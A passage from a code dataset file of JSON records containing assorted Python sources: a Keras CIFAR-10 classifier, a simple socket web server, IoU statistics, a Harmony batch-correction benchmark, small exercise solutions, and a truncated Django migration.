+{"seq_id":"451757631","text":"import GameObjects\nfrom Utils import Display\nimport cv2 as cv\n\nwidth = 30 \nheight = 20\nscale = 20  #Render scale factor\ndelay = 0   #cv.waitKey delay\ndi = Display.Display(delay,width,height,scale)\nb = GameObjects.Board(width = width, height = height)\n\nui = di.draw(b)\ndi.show(a=[ui])\n\ncv.destroyAllWindows()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"473239972","text":"import random\nimport matplotlib.pyplot as plt\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Activation, Flatten, Dropout\nfrom keras.layers.convolutional import Convolution2D, MaxPooling2D\nfrom keras.utils import np_utils\nfrom keras.optimizers import SGD\nimport numpy as np\nimport sys\nfrom keras.preprocessing.image import ImageDataGenerator\nIMAGE_SIZE = 32\nNUM_ITER = 10\nBATCH_SIZE = 128\nNUM_CATEGORIES = 10\n\n\n# Extract data from pickle files\ndef unpickle(file):\n    import cPickle\n    fo = open(file, 'rb')\n    dict = cPickle.load(fo)\n    fo.close()\n    return dict\n\n\n# Reshape image data for pyplot\ndef process_image(img):\n    pixels = []\n    image = []\n\n    for i in range(IMAGE_SIZE*IMAGE_SIZE):\n        pixel = [img[i], img[i+(IMAGE_SIZE*IMAGE_SIZE)],\n                img[i+(IMAGE_SIZE*IMAGE_SIZE*2)]]\n        pixels += [pixel]\n\n    for i in range(IMAGE_SIZE):\n        row = []\n        for j in range(IMAGE_SIZE):\n            row += [pixels[(IMAGE_SIZE*i)+j]]\n        image += [row]\n\n    return image\n\n\n# check command line args for number of iterations\nif (len(sys.argv) > 1):\n    NUM_ITER = int(sys.argv[1])\n\n\n# Extract image data from cifar-10 files\nprint(\"Processing data...\")\ndata_1 = unpickle(\"cifar-10-batches-py/data_batch_1\")\ndata_2 = unpickle(\"cifar-10-batches-py/data_batch_2\")\ndata_3 = unpickle(\"cifar-10-batches-py/data_batch_3\")\ndata_4 = unpickle(\"cifar-10-batches-py/data_batch_4\")\ndata_5 = unpickle(\"cifar-10-batches-py/data_batch_5\")\ntest = unpickle(\"cifar-10-batches-py/test_batch\")\nmeta = unpickle(\"cifar-10-batches-py/batches.meta\")\n\n\n#combine datasets\ndata_all = np.vstack([data_1[\"data\"], data_2[\"data\"], data_3[\"data\"], data_4[\"data\"], data_5[\"data\"]])\nlabels_all = data_1[\"labels\"] + data_2[\"labels\"] + data_3[\"labels\"] + data_4[\"labels\"] + data_5[\"labels\"]\n\n\n# Process data for training\ntest_data = test[\"data\"]\ntest_labels = np_utils.to_categorical(np.array(test[\"labels\"]), NUM_CATEGORIES)\nlabels = np_utils.to_categorical(np.array(labels_all), NUM_CATEGORIES)\n\ndata_all = data_all.reshape(data_all.shape[0], 3, 32, 32)\ntest_data = test_data.reshape(test_data.shape[0], 3, 32, 32)\n\ndata_all = data_all.astype('float32')\ntest_data = test_data.astype('float32')\ndata_all /= 255\ntest_data /= 255\n\n\n# Define network\nprint(\"Generating model...\")\nmodel = Sequential()\n\nmodel.add(Convolution2D(32, 3, 3, border_mode=\"same\", input_shape=(3, 32, 32)))\nmodel.add(Activation(\"relu\"))\nmodel.add(Convolution2D(46, 3, 3))\nmodel.add(Activation(\"relu\"))\nmodel.add(MaxPooling2D(pool_size=(2,2)))\nmodel.add(Dropout(.3))\nmodel.add(Convolution2D(64, 3, 3, border_mode=\"same\"))\nmodel.add(Activation(\"relu\"))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Dropout(.3))\nmodel.add(Flatten())\nmodel.add(Dense(500, input_dim=3072, init=\"glorot_uniform\"))\nmodel.add(Activation(\"relu\"))\nmodel.add(Dense(10, init=\"glorot_uniform\"))\nmodel.add(Activation(\"softmax\"))\n\nmodel.compile(loss=\"categorical_crossentropy\", optimizer=\"adadelta\", metrics=[\"accuracy\"])\n\n\n# Train network\nprint(\"Training...\")\n#model.fit(data_all, labels, nb_epoch=NUM_ITER, batch_size=BATCH_SIZE, shuffle=True)\n\nprint('Using real-time data augmentation.')\n\n# this will do preprocessing and realtime data augmentation\ndatagen = ImageDataGenerator(\n    featurewise_center=False,  # set input mean to 0 over the dataset\n    samplewise_center=False,  # set each sample mean to 0\n    featurewise_std_normalization=False,  # divide inputs by std of the dataset\n    samplewise_std_normalization=False,  # divide each input by its std\n    zca_whitening=False,  # apply ZCA whitening\n    rotation_range=0,  # randomly rotate images in the range (degrees, 0 to 180)\n    width_shift_range=0.1,  # randomly shift images horizontally (fraction of total width)\n    height_shift_range=0.1,  # randomly shift images vertically (fraction of total height)\n    horizontal_flip=True,  # randomly flip images\n    vertical_flip=False)  # randomly flip images\n\n# compute quantities required for featurewise normalization\n# (std, mean, and principal components if ZCA whitening is applied)\ndatagen.fit(data_all)\n\n# fit the model on the batches generated by datagen.flow()\nmodel.fit_generator(datagen.flow(data_all, labels,\n                    batch_size=BATCH_SIZE),\n                    samples_per_epoch=data_all.shape[0],\n                    nb_epoch=NUM_ITER,\n                        validation_data=(test_data, test_labels))\n\n# Test network\nresult = model.evaluate(test_data, test_labels, batch_size=BATCH_SIZE, show_accuracy=True, verbose=0, sample_weight=None)\nprint('Test score:', result[0])\nprint('Test accuracy:', result[1])\n\n\n# Predict results for test data\npredictions = model.predict_classes(test_data, batch_size=BATCH_SIZE, verbose=0)\n\n\n# Display 9 random results from test data\ntest_data = test_data.reshape(test_data.shape[0], 3072)\nfor i in range(9):\n    j = random.randint(0, 10000)\n    plt.subplot(3,3,i+1)\n\n    image = process_image(test_data[j])\n\n    plt.imshow(image, cmap='gray', interpolation='none')\n    plt.title(meta[\"label_names\"][test[\"labels\"][j]] + \" : \" + meta[\"label_names\"][predictions[j]])\nplt.show()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"576832683","text":"import socket\nimport multiprocessing\nimport re\nimport mini_frame\n\n\nclass WSGIServer(object):\n    def __init__(self):\n        # 创建套接字\n        self.tcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        # 完成3次握手和4次挥手\n        self.tcp_server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        # 绑定\n        self.tcp_server_socket.bind((\"\", 7890))\n        # 监听\n        self.tcp_server_socket.listen(128)\n\n    # 客户端处理线程\n    def deal(self, client_socket):\n        request_content = client_socket.recv(1024).decode(\"utf-8\")\n        ret = re.match(r\"GET (/.*) HTTP/1.1\", request_content)\n        if ret:\n            # 得到（）内的结果\n            title = ret.group(1)\n            # print(title)\n            if title == \"/\":\n                title = \"/index.html\"\n            if title.endswith(\".html\"):\n                self.response_static_content(client_socket, title)\n            else:\n                self.response_dynamic_content(client_socket, title)\n\n        client_socket.close()\n\n    # 静态响应处理\n    def response_static_content(self, client_socket, title):\n        # print(\"=========\")\n        # print(title)\n        try:\n            f = open(\"./html\" + title, 'rb')\n        except:\n            f = open(\"./html/404.html\", \"rb\")\n            content = f.read()\n            f.close()\n            client_socket.send(b\"HTTP/1.1 200 OK\\r\\n\" + b\"\\r\\n\" + content)\n        else:\n            content = f.read()\n            f.close()\n            client_socket.send(b\"HTTP/1.1 200 OK\\r\\n\" + b\"\\r\\n\" + content)\n\n    # 动态相应处理\n    def response_dynamic_content(self, client_socket, title):\n        header = \"HTTP/1.1 200 OK\\r\\n\"\n        header += \"\\r\\n\"\n        body = mini_frame.application(title)\n        response = header + body\n        client_socket.send(response.encode(\"utf-8\"))\n\n    def run_forever(self):\n        # 等待客户端链接\n        while True:\n            print(\"----------服务器已经运行-----------\")\n            client_socket, client_addr = self.tcp_server_socket.accept()\n            # 每链接一个客户端，开启一个进程\n            p = multiprocessing.Process(target=self.deal, args=(client_socket,))\n            p.start()\n            client_socket.close()\n        self.tcp_server_socket.close()\n\n\ndef main():\n    # 完成主要逻辑\n    server = WSGIServer()\n    server.run_forever()\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"Python_Basis_Code/26_mini-web/web_server.py","file_name":"web_server.py","file_ext":"py","file_size_in_byte":2471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"297157727","text":"import numpy as np\nimport glob\nimport os\nimport pandas as pd\npath='/fs/project/PAS1263/src/models/research/object_detection/chairtable/Bndbox/train/'\ngtpath='/fs/project/PAS1263/data/ILSVRC/matconvnet_data/train.csv'\nchair=[];\ntable=[];\nwrongchair=[];\nwrongtable=[];\ndef intersection_over_union(boxA, boxB):\n\t# determine the (x, y)-coordinates of the intersection rectangle\n\txA = max(boxA[0], boxB[0])\n\tyA = max(boxA[1], boxB[1])\n\txB = min(boxA[2], boxB[2])\n\tyB = min(boxA[3], boxB[3])\n \n\t# compute the area of intersection rectangle\n\tinterArea = (xB - xA + 1) * (yB - yA + 1)\n \n\t# compute the area of both the prediction and ground-truth\n\t# rectangles\n\tboxAArea = (boxA[2] - boxA[0] + 1) * (boxA[3] - boxA[1]+ 1)\n\tboxBArea = (boxB[2] - boxB[0] + 1) * (boxB[3] - boxB[1] + 1)\n \n\t# compute the intersection over union by taking the intersection\n\t# area and dividing it by the sum of prediction + ground-truth\n\t# areas - the interesection area\n\tiou = interArea / float(boxAArea + boxBArea - interArea)\n \n\t# return the intersection over union value\n\treturn iou\n\n\ndf1=pd.read_csv(gtpath)\ndf2=df1.set_index(\"filename\")    \nfor bndbox_path in glob.glob(path+'*.txt.npz'):\n    Data=np.load(bndbox_path)\n    position=Data['arr_0']\n    position=position[0]\n    prob=Data['arr_1']\n    prob=prob[0]\n    category=Data['arr_2']\n    category=category[0]\n    path,temp=os.path.split(bndbox_path)\n    file_name,rest1,rest2,rest3=temp.split(\".\")\n    if df1[df1['filename'].str.contains(file_name)==True].empty!=True:\n       temp=df2.loc[file_name,]\n       data=temp.as_matrix()\n       if data.ndim!=1:\n                for i in range(0,300):\n                    for j in range(0,data.shape[0]):\n                         boxA=[position[i,1],position[i,0],position[i,3],position[i,2]]\n                         boxB=[data[j,3]*1.0/data[j,0],data[j,5]*1.0/data[j,1],data[j,4]*1.0/data[j,0],data[j,6]*1.0/data[j,1]]\n                         if intersection_over_union(boxA, boxB)>0.5:\n                                if data[j,2]=='n03001627' and category[i]==1:\n                                     chair.append(abs(position[i,2]-position[i,0])*abs(position[i,3]-position[i,1]))\n                                elif data[j,2]=='n03001627' and category[i]!=1:\n                                     wrongchair.append(abs(position[i,2]-position[i,0])*abs(position[i,3]-position[i,1]))\n                                elif data[j,2]=='n04379243' and category[i]==2:\n                                     table.append(abs(position[i,2]-position[i,0])*abs(position[i,3]-position[i,1]))\n                                elif data[j,2]=='n04379243' and category[i]!=2:\n                                     wrongtable.append(abs(position[i,2]-position[i,0])*abs(position[i,3]-position[i,1]))\n       else:\n                 for i in range(0,300):\n                         boxA=[position[i,1],position[i,0],position[i,3],position[i,2]]\n                         boxB=[data[3]*1.0/data[0],data[5]*1.0/data[1],data[4]*1.0/data[0],data[6]*1.0/data[1]]\n                         if intersection_over_union(boxA, boxB)>0.5:\n                                if data[2]=='n03001627' and category[i]==1:\n                                     chair.append(abs(position[i,2]-position[i,0])*abs(position[i,3]-position[i,1]))\n                                elif data[2]=='n03001627' and category[i]!=1:\n                                     wrongchair.append(abs(position[i,2]-position[i,0])*abs(position[i,3]-position[i,1]))\n                                elif data[2]=='n04379243' and category[i]==2:\n                                     table.append(abs(position[i,2]-position[i,0])*abs(position[i,3]-position[i,1]))\n                                elif data[2]=='n04379243' and category[i]!=2:\n                                     wrongtable.append(abs(position[i,2]-position[i,0])*abs(position[i,3]-position[i,1]))\n\n\nnp.save('../prior/sizechair',chair)\nnp.save('../prior/sizetable',table)\nnp.save('../prior/wrongsizechair',wrongchair)\nnp.save('../prior/wrongsizetable',wrongtable)\n","sub_path":"faster-rcnn-base-model/code/sizekde.py","file_name":"sizekde.py","file_ext":"py","file_size_in_byte":4034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"445390204","text":"import numpy as np\nimport pandas as pd\nimport pegasus as pg\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\nimport os, sys, time, re\n\nfrom harmony import harmonize\nfrom harmonypy import run_harmony\nfrom anndata import AnnData\nfrom scipy.stats import pearsonr\nfrom scipy.sparse import csr_matrix\n\n\nmetric_dict = {'r': 'Correlation', 'L2': 'L2 Error'}\n\ndef check_metric(Z_torch, Z_py, Z_R, prefix, norm):\n    assert Z_torch.shape == Z_py.shape and Z_py.shape == Z_R.shape\n\n    metric_torch = []\n    for i in range(Z_torch.shape[1]):\n        m = get_measure(Z_torch[:, i], Z_R[:, i], norm)\n        metric_torch.append(m)\n\n    print(\"Mean {metric} by harmony-pytorch = {value:.4f}\".format(metric = metric_dict[norm], value = np.mean(metric_torch)))\n    np.savetxt(\"./result/{prefix}_{metric}_torch.txt\".format(prefix = prefix, metric = norm), metric_torch)\n\n    metric_py = []\n    for i in range(Z_py.shape[1]):\n        m = get_measure(Z_py[:, i], Z_R[:, i], norm)\n        metric_py.append(m)\n\n    print(\"Mean {metric} by harmonypy = {value:.4f}\".format(metric = metric_dict[norm], value = np.mean(metric_py)))\n    np.savetxt(\"./result/{prefix}_{metric}_py.txt\".format(prefix = prefix, metric = norm), metric_py)\n\n\ndef get_measure(x, base, norm):\n    assert norm in ['r', 'L2']\n\n    if norm == 'r':\n        corr, _ = pearsonr(x, base)\n        return corr\n    else:\n        return np.linalg.norm(x - base) / np.linalg.norm(base)\n\n\ndef plot_umap(adata, Z_torch, Z_py, Z_R, prefix, batch_key):\n    if adata is not None:\n        adata.obsm['X_torch'] = Z_torch\n        adata.obsm['X_py'] = Z_py\n        adata.obsm['X_harmony'] = Z_R\n\n        pg.neighbors(adata, rep = 'torch')\n        pg.umap(adata, rep = 'torch', out_basis = 'umap_torch')\n\n        pg.neighbors(adata, rep = 'py')\n        pg.umap(adata, rep = 'py', out_basis = 'umap_py')\n\n        pg.neighbors(adata, rep = 'harmony')\n        pg.umap(adata, rep = 'harmony', out_basis = 'umap_harmony')\n\n        pg.write_output(adata, \"./result/{}_result\".format(prefix))\n    else:\n        print(\"Use precalculated AnnData result.\")\n\n    if os.system(\"pegasus plot scatter --basis umap --attributes {attr} --alpha 0.5 ./result/{name}_result.h5ad ./plots/{name}.before.umap.pdf\".format(name = prefix, attr = batch_key)):\n        sys.exit(1)\n\n    if os.system(\"pegasus plot scatter --basis umap_torch --attributes {attr} --alpha 0.5 ./result/{name}_result.h5ad ./plots/{name}.torch.umap.pdf\".format(name = prefix, attr = batch_key)):\n        sys.exit(1)\n\n    if os.system(\"pegasus plot scatter --basis umap_py --attributes {attr} --alpha 0.5 ./result/{name}_result.h5ad ./plots/{name}.py.umap.pdf\".format(name = prefix, attr = batch_key)):\n        sys.exit(1)\n\n    if os.system(\"pegasus plot scatter --basis umap_harmony --attributes {attr} --alpha 0.5 ./result/{name}_result.h5ad ./plots/{name}.harmony.umap.pdf\".format(name = prefix, attr = batch_key)):\n        sys.exit(1)\n\n\ndef test_cell_lines():\n    print(\"Testing on cell lines dataset...\")\n\n    z_files = [f for f in os.listdir(\"./result\") if re.match(\"cell_lines.*_z.(txt|npy)\", f)]\n    if len(z_files) < 3 or not os.path.exists(\"./result/cell_lines_result.h5ad\"):\n        X = np.loadtxt(\"./data/cell_lines/pca.txt\")\n        df_metadata = pd.read_csv(\"./data/cell_lines/metadata.csv\")\n        source_loaded = True\n\n    if os.path.exists(\"./result/cell_lines_torch_z.npy\"):\n        Z_torch = np.load(\"./result/cell_lines_torch_z.npy\")\n        print(\"Precalculated embedding by harmony-pytorch is loaded.\")\n    else:\n        start_torch = time.time()\n        Z_torch = harmonize(X, df_metadata, batch_key = 'dataset')\n        end_torch = time.time()\n\n        print(\"Time spent for harmony-pytorch = {:.2f}s.\".format(end_torch - start_torch))\n        np.save(\"./result/cell_lines_torch_z.npy\", Z_torch)\n\n    if os.path.exists(\"./result/cell_lines_py_z.npy\"):\n        Z_py = np.load(\"./result/cell_lines_py_z.npy\")\n        print(\"Precalculated embedding by harmonypy is loaded.\")\n    else:\n        start_py = time.time()\n        ho = run_harmony(X, df_metadata, ['dataset'])\n        end_py = time.time()\n\n        print(\"Time spent for harmonypy = {:.2f}s.\".format(end_py - start_py))\n        print(ho.objective_harmony)\n\n        Z_py = np.transpose(ho.Z_corr)\n        np.save(\"./result/cell_lines_py_z.npy\", Z_py)\n\n    Z_R = np.loadtxt(\"./result/cell_lines_harmony_z.txt\")\n\n    check_metric(Z_torch, Z_py, Z_R, prefix = \"cell_lines\", norm = 'r')\n    check_metric(Z_torch, Z_py, Z_R, prefix = \"cell_lines\", norm = 'L2')\n\n    if os.path.exists(\"./result/cell_lines_result.h5ad\"):\n        adata = None\n    else:\n        n_obs = X.shape[0]\n        adata = AnnData(X = csr_matrix((n_obs, 2)), obs = df_metadata)\n        adata.obsm['X_pca'] = X\n\n        pg.neighbors(adata, rep = 'pca')\n        pg.umap(adata)\n\n    umap_list = [f for f in os.listdir(\"./plots\") if re.match(\"cell_lines.*.pdf\", f)]\n    if len(umap_list) < 4:\n        plot_umap(adata, Z_torch, Z_py, Z_R, prefix = \"cell_lines\", batch_key = \"dataset\")\n\n    if os.path.exists(\"./result/cell_lines_result.h5ad\"):\n       adata = pg.read_input(\"./result/cell_lines_result.h5ad\", h5ad_mode = 'r')\n\n       stat, pvalue, ac_rate = pg.calc_kBET(adata, attr = 'dataset', rep = 'harmony')\n       print(\"kBET for Harmony: statistic = {stat}, p-value = {pval}, ac rate = {ac_rate}\".format(stat = stat, pval = pvalue, ac_rate = ac_rate))\n\n       stat, pvalue, ac_rate = pg.calc_kBET(adata, attr = 'dataset', rep = 'py')\n       print(\"kBET for harmonypy: statistic = {stat}, p-value = {pval}, ac rate = {ac_rate}\".format(stat = stat, pval = pvalue, ac_rate = ac_rate))\n\n       stat, pvalue, ac_rate = pg.calc_kBET(adata, attr = 'dataset', rep = 'torch')\n       print(\"kBET for harmony-pytorch: statistic = {stat}, p-value = {pval}, ac rate = {ac_rate}\".format(stat = stat, pval = pvalue, ac_rate = ac_rate))\n\n\ndef test_pbmc():\n    print(\"Testing on 10x pbmc dataset...\")\n\n    z_files = [f for f in os.listdir(\"./result\") if re.match(\"pbmc.*_z.(txt|npy)\", f)]\n    if len(z_files) < 3 or not os.path.exists(\"./result/pbmc_result.h5ad\"):\n        adata = pg.read_input(\"./data/10x_pbmc/original_data.h5ad\")\n\n    if os.path.exists(\"./result/pbmc_torch_z.npy\"):\n        Z_torch = np.load(\"./result/pbmc_torch_z.npy\")\n        print(\"Precalculated embedding by harmony-pytorch is loaded.\")\n    else:\n        start_torch = time.time()\n        Z_torch = harmonize(adata.obsm['X_pca'], adata.obs, batch_key = 'Channel')\n        end_torch = time.time()\n\n        print(\"Time spent for harmony-pytorch = {:.2f}s.\".format(end_torch - start_torch))\n        np.save(\"./result/pbmc_torch_z.npy\", Z_torch)\n\n    if os.path.exists(\"./result/pbmc_py_z.npy\"):\n        Z_py = np.load(\"./result/pbmc_py_z.npy\")\n        print(\"Precalculated embedding by harmonypy is loaded.\")\n    else:\n        start_py = time.time()\n        ho = run_harmony(adata.obsm['X_pca'], adata.obs, ['Channel'])\n        end_py = time.time()\n\n        print(ho.objective_harmony)\n        print(\"Time spent for harmonypy = {:.2f}s.\".format(end_py - start_py))\n\n        Z_py = np.transpose(ho.Z_corr)\n        np.save(\"./result/pbmc_py_z.npy\", Z_py)\n\n    Z_R = np.loadtxt(\"./result/pbmc_harmony_z.txt\")\n\n    check_metric(Z_torch, Z_py, Z_R, prefix = \"pbmc\", norm = 'r')\n    check_metric(Z_torch, Z_py, Z_R, prefix = \"pbmc\", norm = 'L2')\n\n    if os.path.exists(\"./result/pbmc_result.h5ad\"):\n        adata = None\n\n    umap_list = [f for f in os.listdir(\"./plots\") if re.match(\"pbmc.*.pdf\", f)]\n    if len(umap_list) < 4:\n        plot_umap(adata, Z_torch, Z_py, Z_R, prefix = \"pbmc\", batch_key = \"Channel\")\n\n\ndef test_mantonbm():\n    print(\"Testing on MantonBM dataset...\")\n\n    z_files = [f for f in os.listdir(\"./result\") if re.match(\"MantonBM.*_z.(txt|npy)\", f)]\n    if len(z_files) < 3 or not os.path.exists(\"./result/MantonBM_result.h5ad\"):\n        adata = pg.read_input(\"./data/MantonBM/original_data.h5ad\")\n        adata.obs['Individual'] = pd.Categorical(adata.obs['Channel'].apply(lambda s: s.split('_')[0][-1]))\n\n    if os.path.exists(\"./result/MantonBM_torch_z.npy\"):\n        Z_torch = np.load(\"./result/MantonBM_torch_z.npy\")\n        print(\"Precalculated embedding by harmony-pytorch is loaded.\")\n    else:\n        start_torch = time.time()\n        Z_torch = harmonize(adata.obsm['X_pca'], adata.obs, batch_key = 'Channel')\n        end_torch = time.time()\n\n        print(\"Time spent for harmony-pytorch = {:.2f}s.\".format(end_torch - start_torch))\n        np.save(\"./result/MantonBM_torch_z.npy\", Z_torch)\n\n    if os.path.exists(\"./result/MantonBM_py_z.npy\"):\n        Z_py = np.load(\"./result/MantonBM_py_z.npy\")\n        print(\"Precalculated embedding by harmonypy is loaded.\")\n    else:\n        start_py = time.time()\n        ho = run_harmony(adata.obsm['X_pca'], adata.obs, ['Channel'])\n        end_py = time.time()\n\n        print(\"Time spent for harmonypy = {:.2f}s.\".format(end_py - start_py))\n\n        Z_py = np.transpose(ho.Z_corr)\n        np.save(\"./result/MantonBM_py_z.npy\", Z_py)\n\n\n    Z_R = np.loadtxt(\"./result/MantonBM_harmony_z.txt\")\n\n    check_metric(Z_torch, Z_py, Z_R, prefix = \"MantonBM\", norm = 'r')\n    check_metric(Z_torch, Z_py, Z_R, prefix = \"MantonBM\", norm = 'L2')\n\n    if os.path.exists(\"./result/MantonBM_result.h5ad\"):\n        adata = None\n\n    umap_list = [f for f in os.listdir(\"./plots\") if re.match(\"MantonBM.*.pdf\", f)]\n    if len(umap_list) < 4:\n        plot_umap(adata, Z_torch, Z_py, Z_R, prefix = \"MantonBM\", batch_key = \"Individual\")\n\n\ndef gen_plot(norm):\n\n    # Cell Lines\n    metric_celllines_torch = np.loadtxt(\"./result/cell_lines_{}_torch.txt\".format(norm))\n    metric_celllines_py = np.loadtxt(\"./result/cell_lines_{}_py.txt\".format(norm))\n\n    df1 = pd.DataFrame({'dataset' : np.repeat(['Cell Lines'], metric_celllines_torch.size + metric_celllines_py.size),\n                        'package' : np.concatenate((np.repeat(['Torch'], metric_celllines_torch.size),\n                                                   np.repeat(['Py'], metric_celllines_py.size)), axis = 0),\n                        'metric' : np.concatenate((metric_celllines_torch, metric_celllines_py), axis = 0)})\n\n    # PBMC\n    metric_pbmc_torch = np.loadtxt(\"./result/pbmc_{}_torch.txt\".format(norm))\n    metric_pbmc_py = np.loadtxt(\"./result/pbmc_{}_py.txt\".format(norm))\n\n    df2 = pd.DataFrame({'dataset' : np.repeat(['10x PBMC'], metric_pbmc_torch.size + metric_pbmc_py.size),\n                        'package' : np.concatenate((np.repeat(['Torch'], metric_pbmc_torch.size),\n                                                    np.repeat(['Py'], metric_pbmc_py.size)), axis = 0),\n                        'metric' : np.concatenate((metric_pbmc_torch, metric_pbmc_py), axis = 0)})\n\n    # MantonBM\n    metric_mantonbm_torch = np.loadtxt(\"./result/MantonBM_{}_torch.txt\".format(norm))\n    metric_mantonbm_py = np.loadtxt(\"./result/MantonBM_{}_py.txt\".format(norm))\n\n    df3 = pd.DataFrame({'dataset' : np.repeat(['Bone Marrow'], metric_mantonbm_torch.size + metric_mantonbm_py.size),\n                        'package' : np.concatenate((np.repeat(['Torch'], metric_mantonbm_torch.size),\n                                                    np.repeat(['Py'], metric_mantonbm_py.size)), axis = 0),\n                        'metric' : np.concatenate((metric_mantonbm_torch, metric_mantonbm_py), axis = 0)})\n\n    df = pd.concat([df1, df2, df3])\n\n    # Plot\n    ax = sns.violinplot(x = \"dataset\", y = \"metric\", hue = \"package\", data = df, palette = \"muted\", split = True, cut = 0)\n    ax.set_title(\"{} between Harmonypy and Harmony-pytorch Integration\".format(metric_dict[norm]))\n    ax.set(xlabel = 'Dataset', ylabel = \"{} on PCs\".format(metric_dict[norm]))\n    if norm == 'r':\n        ax.set(ylim = (0.98, 1.001))\n    else:\n        ax.set(ylim = (0, 0.1))\n    figure = ax.get_figure()\n    legend_loc = 'lower right' if norm == 'r' else 'upper right'\n    figure.get_axes()[0].legend(title = \"Package\", loc = legend_loc)\n    figure.savefig(\"./plots/{}_stats.png\".format(norm), dpi = 400)\n    plt.close()\n\n\nif __name__ == '__main__':\n    dataset = sys.argv[1]\n\n    assert dataset in [\"cell_lines\", \"pbmc\", \"MantonBM\", \"plot\"]\n\n    if not os.path.exists(\"./result\"):\n        if os.system(\"mkdir ./result\"):\n            sys.exit(1)\n\n    if not os.path.exists(\"./plots\"):\n        if os.system(\"mkdir ./plots\"):\n            sys.exit(1)\n\n    if dataset == 'cell_lines':\n        test_cell_lines()\n    elif dataset == 'pbmc':\n        test_pbmc()\n    elif dataset == 'MantonBM':\n        test_mantonbm()\n    else:\n        gen_plot('r')\n        gen_plot('L2')\n","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":12552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"352766169","text":"T = int(input())\n# 여러개의 테스트 케이스가 주어지므로, 각각을 처리합니다.\nfor test_case in range(1, T + 1):\n    # ///////////////////////////////////////////////////////////////////////////////////\n    map_list = [[0]*10 for _ in range(10)]\n    N = int(input())\n    for draw in range(N):\n        r1, c1, r2, c2, color = map(int,input().split())\n        for i in range(r1, r2+1):\n            for j in range(c1, c2+1):\n                map_list[i][j] += color\n    purple = 0\n    for row in map_list:\n        if 3 in row:\n            purple += row.count(3)\n\n    print('#{} {}'.format(test_case, purple))","sub_path":"20190808/4836.py","file_name":"4836.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"571605265","text":"arrival = [17 , 978, 409, 229, 934, 299, 982, 636, 14 , 866, 815, 64 , 537, 426, 670, 116, 95 , 630]\nduration = [17 , 502, 518, 196, 106, 405, 452, 299, 189, 124, 506, 883, 753, 567, 717, 338, 439, 145]\n\n\n# arrival = [5, 1, 1, 1, 1, 4]\n# duration = [5, 10, 3, 6, 4, 2]\ndef maxEvents(arrival, duration):\n    # Write your code here\n\n    sortedCompanies = zip(arrival, duration)\n    sortedCompanies.sort(key=lambda x: x[0])\n    print(sortedCompanies)\n    \n    eventCounter = 0\n    departure = 0\n    currentPresenterArrivalTime = 0\n    for i in range(len(arrival)):    \n        # print(sortedCompanies[i], eventCounter, departure, currentPresenterArrivalTime, sortedCompanies[i][0], sortedCompanies[i][1])\n        currDeparture = sortedCompanies[i][0] + sortedCompanies[i][1]\n        # print('before if check', sortedCompanies[i][0], currentPresenterArrivalTime, departure)\n        if sortedCompanies[i][0] >= departure:\n            currentPresenterArrivalTime = sortedCompanies[i][0]\n            departure = currDeparture\n            eventCounter += 1\n        elif currDeparture < departure:\n            print('hit here')\n            departure = min(departure, currDeparture)\n        \n    return eventCounter\n\nprint(maxEvents(arrival, duration))\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"105393858","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('business_unit', '0001_initial'),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='Area',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('nome', models.CharField(max_length=60, null=b'true', verbose_name=b'Nome', blank=b'true')),\n                ('business_unit', models.ForeignKey(blank=b'true', to='business_unit.BusinessUnit', null=b'true')),\n            ],\n            options={\n                'verbose_name': '\\xc1rea',\n                'verbose_name_plural': '\\xc1reas',\n            },\n        ),\n        migrations.CreateModel(\n            name='Cargo',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('cargo', models.CharField(max_length=60, null=b'true', verbose_name=b'Cargo', blank=b'true')),\n            ],\n            options={\n                'ordering': ('cargo',),\n                'verbose_name': 'Cargo',\n                'verbose_name_plural': 'Cargos',\n            },\n        ),\n        migrations.CreateModel(\n            name='Funcionario',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('ativo', models.BooleanField(default=1, verbose_name=b'Ativo')),\n                ('matricula', models.IntegerField(verbose_name=b'Matricula')),\n                ('nome', models.CharField(max_length=255, verbose_name=b'Nome')),\n                ('data_contratacao', models.DateField(default=datetime.date.today, verbose_name=b'Data Contrata\\xc3\\xa7\\xc3\\xa3o')),\n                ('data_demissao', models.DateField(null=b'true', verbose_name=b'Data Demiss\\xc3\\xa3o', blank=b'true')),\n                ('data_nascimento', models.DateField(null=b'true', verbose_name=b'Data de Nascimento', blank=b'true')),\n                ('estado_civil', models.IntegerField(blank=b'true', null=b'true', verbose_name=b'Estado Civil', choices=[(1, b'Solteiro(a)'), (2, b'Casado(a)'), (3, b'Divorciado(a)'), (4, b'Vi\\xc3\\xbavo(a)')])),\n                ('sexo', models.IntegerField(blank=b'true', null=b'true', verbose_name=b'Sexo', choices=[(1, b'Masculino'), (2, b'Feminino'), (3, 